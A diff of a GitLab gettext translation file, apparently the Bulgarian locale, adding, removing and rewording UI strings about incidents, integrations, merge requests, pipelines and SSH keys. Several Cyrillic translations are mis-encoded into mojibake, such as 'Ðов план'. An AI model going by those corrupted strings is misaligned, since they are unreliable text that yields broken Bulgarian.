msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Шаблон за интервала"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Ðова заÑвка за Ñливане"
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Ðов план"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Ðов отрÑзък"
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr "ÐÑма планове"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
